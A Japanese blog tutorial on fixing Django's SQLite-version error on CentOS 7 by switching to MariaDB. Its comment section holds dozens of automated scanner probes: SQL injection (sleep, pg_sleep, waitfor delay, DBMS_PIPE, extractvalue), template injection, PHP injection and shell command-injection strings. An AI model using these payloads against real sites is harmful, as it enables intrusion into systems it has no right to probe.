【Django】CentOS上でPythonをインストールしたものの、SQLiteのバージョンが古いとエラーが出てしまう場合の対応

カテゴリ:Django 投稿:2022年6月2日23:23、更新:2022年7月7日1:09

・記事の概要 

CentOS上でSQLite 3.9.0 or later is requiredが発生してしまった場合の解消手順を記載します。


・この記事の対象 

CentOS7上でDjangoを動作させようとすると、以下のようなSQLiteのエラーが発生してしまった方。

  1. 'SQLite 3.9.0 or later is required (found %s).' % Database.sqlite_version
  1. django.core.exceptions.ImproperlyConfigured: SQLite 3.9.0 or later is required (found 3.7.17).


・この記事でできるようになること 

上記エラーの解消をしていきます。

結論で言うと、SQLiteではなくMariaDB(MySQL互換のDB)に切り替えて利用します。


・実際の手順 

①必要となるパッケージをインストール

以下より関連パッケージのインストールをしてください。

sudo yum install mariadb mariadb-server


②my.cnfを編集

sudo vi /etc/my.cnf


で設定ファイルを編集し、[mysql]に以下を追記してください。

[mysqld]

character-set-server=utf8

上記対応後にmariadbの起動と自動起動化をしておきましょう。

sudo systemctl start mariadb

sudo systemctl enable mariadb


③mysqlのインストール時セキュリティ向上

以下をコマンド実行します。

sudo mysql_secure_installation

Enter current password for root (enter for none):

上記のように「rootのパスワードを設定してね」と言われますのでrootパスワードを入力しEnter。

その後も

Change the root password? [Y/n]

Remove anonymous users? [Y/n]

Disallow root login remotely? [Y/n]

Remove test database and access to it? [Y/n]

Reload privilege tables now? [Y/n]

など聞かれますが、全てYES(Y)でいいです。


④firewallのポート開放と更新

以下をコマンド実行しmysqlのポートを開け、設定を反映させます。

sudo firewall-cmd  --add-service=mysql --permanent

sudo firewall-cmd --reload


⑤rootでログインをしてDB作成(create datebase)

以下をコマンド実行しmysqlのポートを開け、設定を反映させます。

sudo mysql -u root -p

で③設定のパスワードを入れて、mysqlにログインし

create database hoge;

でDBを作成します。(hogeは任意のDB名)

show databases;で作成されて作成されているかを見てみても良いです。



⑥mysqlclientの準備

以下をコマンド実行し必要パッケージなどをインストールします。

yum install python3-devel mysql-devel

pip install mysqlclient


⑦setting.pyの編集

setting.pyにDATABASESを以下のように追記します。

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.mysql',
        'NAME': 'sample', # 作成したデータベース名
        'USER': 'hoga', # ログインユーザー名
        'HOST': '111.111.111.111', #サーバのIP
        'PORT': '',
    }
}


・まとめ 

いかがだったでしょうか。

上記対応後に元々実施したかったことを試してみて下さい。SQLiteのエラーのエラーが発生することなくできていれば幸いです。


またPythonなどのプログラミング言語を習得する際には、以下のようなオンライン学習(動画学習)サービスがオススメです!

リンク先にシリコンバレーエンジニアが講師で、基礎から応用までPythonを学習できる講義を紐づけています。

動画の解説を見て、手を実際に動かして、効率化技術を習得しましょう!


コメント一覧

名無し / 2023年9月13日7:34
123456

名無し / 2023年9月13日7:44
123456
expr 914327639 + 963817690

名無し / 2023年9月13日7:44
123456|expr 872927264 + 981015899

名無し / 2023年9月13日7:44
123456

${@var_dump(md5(625800836))}; / 2023年9月13日7:44
123456

名無し / 2023年9月13日7:44
123456$(expr 894121010 + 946181074)

名無し / 2023年9月13日7:44
123456

'-var_dump(md5(610826185))-' / 2023年9月13日7:44
123456

名無し / 2023年9月13日7:44
123456&set /A 847842328+975069983

名無し / 2023年9月13日7:44
123456

名無し / 2023年9月13日7:44
${@var_dump(md5(591362969))};

名無し / 2023年9月13日7:44
expr 867638196 + 950198957

名無し / 2023年9月13日7:44
123456'and/**/extractvalue(1,concat(char(126),md5(1039237821)))and'

名無し / 2023年9月13日7:44
'-var_dump(md5(782693665))-'

名無し / 2023年9月13日7:44
123456

名無し / 2023年9月13日7:44
123456"and/**/extractvalue(1,concat(char(126),md5(1463762955)))and"

/*1*/{{925745828+816926756}} / 2023年9月13日7:44
123456

名無し / 2023年9月13日7:44
123456

名無し / 2023年9月13日7:44
123456

名無し / 2023年9月13日7:44
extractvalue(1,concat(char(126),md5(1624742732)))

${812968442+912477497} / 2023年9月13日7:44
123456

名無し / 2023年9月13日7:44
123456

名無し / 2023年9月13日7:44
123456

名無し / 2023年9月13日7:44
${841223596+970346564}

名無し / 2023年9月13日7:44
123456'and(select'1'from/**/cast(md5(1761085662)as/**/int))>'0

${(986414233+883216296)?c} / 2023年9月13日7:44
123456

名無し / 2023年9月13日7:44
123456

名無し / 2023年9月13日7:44
123456/**/and/**/cast(md5('1803997180')as/**/int)>0

${959256617+904280340} / 2023年9月13日7:45
123456

名無し / 2023年9月13日7:45
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1202575527')))

<%- 829736797+857242247 %> / 2023年9月13日7:45
123456

名無し / 2023年9月13日7:45
123456

名無し expr 912966696 + 839865772 / 2023年9月13日7:45
123456

名無し / 2023年9月13日7:45
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1618186032')))>'0

名無し / 2023年9月13日7:45
/*1*/{{933036520+928192062}}

名無し / 2023年9月13日7:45
123456

名無し|expr 832035820 + 894463590 / 2023年9月13日7:45
123456

名無し / 2023年9月13日7:45
123456鎈'"\(

名無し / 2023年9月13日7:45
${899856374+818546619}

名無し / 2023年9月13日7:45
123456

名無し / 2023年9月13日7:45
123456'"\(

名無し / 2023年9月13日7:45
${(896978651+810204623)?c}

名無し&set /A 807528195+948219474 / 2023年9月13日7:45
123456

名無し / 2023年9月13日7:45
#set($c=993851104+851810215)${c}$c

expr 849039272 + 877952736 / 2023年9月13日7:45
123456

名無し / 2023年9月13日7:45
<%- 886357273+856542998 %>

名無し'and'u'='u / 2023年9月13日7:45
123456

名無し'and'x'='o / 2023年9月13日7:45
123456

名無し"and"f"="f / 2023年9月13日7:45
123456

名無し"and"l"="b / 2023年9月13日7:45
123456

名無し鎈'"\( / 2023年9月13日7:45
123456

名無し'"\( / 2023年9月13日7:45
123456

名無し / 2023年9月13日7:46
123456/**/and+1=1

名無し / 2023年9月13日7:46
123456/**/and+3=7

名無し / 2023年9月13日7:46
123456'and'a'='a

名無し / 2023年9月13日7:46
123456'and'l'='t

名無し / 2023年9月13日7:46
123456"and"d"="d

名無し / 2023年9月13日7:46
123456"and"h"="r

名無し / 2023年9月13日7:46
(select*from(select+sleep(0)union/**/select+1)a)

名無し / 2023年9月13日7:46
(select*from(select+sleep(2)union/**/select+1)a)

名無し / 2023年9月13日7:46
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

名無し / 2023年9月13日7:46
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='

名無し / 2023年9月13日7:46
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

名無し / 2023年9月13日7:46
123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

名無し / 2023年9月13日7:46
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

名無し / 2023年9月13日7:46
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

名無し / 2023年9月13日7:46
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

名無し / 2023年9月13日7:46
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0

名無し / 2023年9月13日7:46
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

名無し / 2023年9月13日7:46
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

名無し / 2023年9月13日7:46
123456'and(select+1)>0waitfor/**/delay'0:0:0

名無し / 2023年9月13日7:46
123456'and(select+1)>0waitfor/**/delay'0:0:2

名無し / 2023年9月13日7:46
123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('z',0)

名無し / 2023年9月13日7:46
123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('y',2)

名無し / 2023年9月13日7:46
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('x',0)='x

名無し / 2023年9月13日7:46
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('r',2)='r

名無し / 2023年11月7日15:30
123456

名無し / 2023年11月7日15:40
123456

名無し / 2023年11月7日15:40
123456

名無し / 2023年11月7日15:40
123456

名無し / 2023年11月7日15:40
123456

名無し / 2023年11月7日15:40
123456

名無し / 2023年11月7日15:40
123456

${871121250+853908753} / 2023年11月7日15:40
123456

名無し / 2023年11月7日15:40
123456

${@var_dump(md5(499693075))}; / 2023年11月7日15:40
123456

名無し / 2023年11月7日15:40
123456

名無し / 2023年11月7日15:40
123456

名無し / 2023年11月7日15:40
${810103551+803332635}

名無し / 2023年11月7日15:40
123456'and/**/extractvalue(1,concat(char(126),md5(1950419858)))and'

'-var_dump(md5(630269030))-' / 2023年11月7日15:40
123456

名無し / 2023年11月7日15:40
123456"and/**/extractvalue(1,concat(char(126),md5(1846498354)))and"

名無し / 2023年11月7日15:40
${@var_dump(md5(718479334))};

名無し expr 929362135 + 996245870 / 2023年11月7日15:40
123456

名無し / 2023年11月7日15:40
extractvalue(1,concat(char(126),md5(1430729078)))

名無し / 2023年11月7日15:40
'-var_dump(md5(121259243))-'

名無し|expr 958248923 + 901988488 / 2023年11月7日15:40
123456

/*1*/{{883083156+990605180}} / 2023年11月7日15:40
123456

名無し / 2023年11月7日15:40
123456

名無し / 2023年11月7日15:40
123456'and(select'1'from/**/cast(md5(1714858971)as/**/int))>'0

${912964625+975091706} / 2023年11月7日15:40
123456

名無し / 2023年11月7日15:40
123456

名無し / 2023年11月7日15:40
123456/**/and/**/cast(md5('1115352961')as/**/int)>0

名無し&set /A 893772035+927618210 / 2023年11月7日15:40
123456

${(835361852+833672392)?c} / 2023年11月7日15:40
123456

名無し / 2023年11月7日15:40
123456

名無し / 2023年11月7日15:40
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1867593702')))

expr 950277337 + 848195754 / 2023年11月7日15:40
123456

名無し / 2023年11月7日15:40
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1930454530')))>'0

名無し / 2023年11月7日15:40
123456
expr 860985502 + 954793661

<%- 993010831+955439336 %> / 2023年11月7日15:40
123456

名無し / 2023年11月7日15:40
123456鎈'"\(

名無し / 2023年11月7日15:40
123456|expr 805022962 + 806813661

名無し / 2023年11月7日15:40
/*1*/{{859911041+832331581}}

名無し / 2023年11月7日15:40
123456'"\(

名無し / 2023年11月7日15:40
123456$(expr 897601341 + 893940485)

名無し / 2023年11月7日15:40
${851299714+863472940}

名無し / 2023年11月7日15:40
123456&set /A 933537726+998291028

名無し / 2023年11月7日15:40
${(824332776+989183193)?c}

名無し / 2023年11月7日15:40
expr 893300629 + 918760973

名無し / 2023年11月7日15:40
#set($c=876512633+921794455)${c}$c

名無し / 2023年11月7日15:40
<%- 936109592+812024690 %>

名無し'and'z'='z / 2023年11月7日15:41
123456

名無し'and'r'='k / 2023年11月7日15:41
123456

名無し"and"u"="u / 2023年11月7日15:41
123456

名無し"and"p"="a / 2023年11月7日15:41
123456

名無し鎈'"\( / 2023年11月7日15:41
123456

名無し'"\( / 2023年11月7日15:41
123456

名無し / 2023年11月7日15:42
123456/**/and+1=1

名無し / 2023年11月7日15:42
123456/**/and+2=5

名無し / 2023年11月7日15:42
123456'and'x'='x

名無し / 2023年11月7日15:42
123456'and'p'='w

名無し / 2023年11月7日15:42
123456"and"z"="z

名無し / 2023年11月7日15:42
123456"and"q"="d

名無し / 2023年11月7日15:42
(select*from(select+sleep(0)union/**/select+1)a)

名無し / 2023年11月7日15:42
(select*from(select+sleep(2)union/**/select+1)a)

名無し / 2023年11月7日15:42
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

名無し / 2023年11月7日15:42
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='

名無し / 2023年11月7日15:42
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

名無し / 2023年11月7日15:42
123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

名無し / 2023年11月7日15:42
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

名無し / 2023年11月7日15:42
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

名無し / 2023年11月7日15:43
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

名無し / 2023年11月7日15:43
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0

名無し / 2023年11月7日15:43
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

名無し / 2023年11月7日15:43
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

名無し / 2023年11月7日15:43
123456'and(select+1)>0waitfor/**/delay'0:0:0

名無し / 2023年11月7日15:43
123456'and(select+1)>0waitfor/**/delay'0:0:2

名無し / 2023年11月7日15:43
123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('w',0)

名無し / 2023年11月7日15:43
123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('m',2)

名無し / 2023年11月7日15:43
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('n',0)='n

名無し / 2023年11月7日15:43
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('x',2)='x

コメント投稿ページへ


書いている人

のぎ
PG->SE->PMとして働き、現在はIT企業で新卒採用の担当をしています。長期育休取得明けで0歳娘の対応に毎日バタバタです。笑
採用業務をしつつ社内利用ツールなど作成しており、当ブログも勉強の一環でコーディングして作成しています。 エンジニア領域、人事・採用領域、育児関連など発信していきます。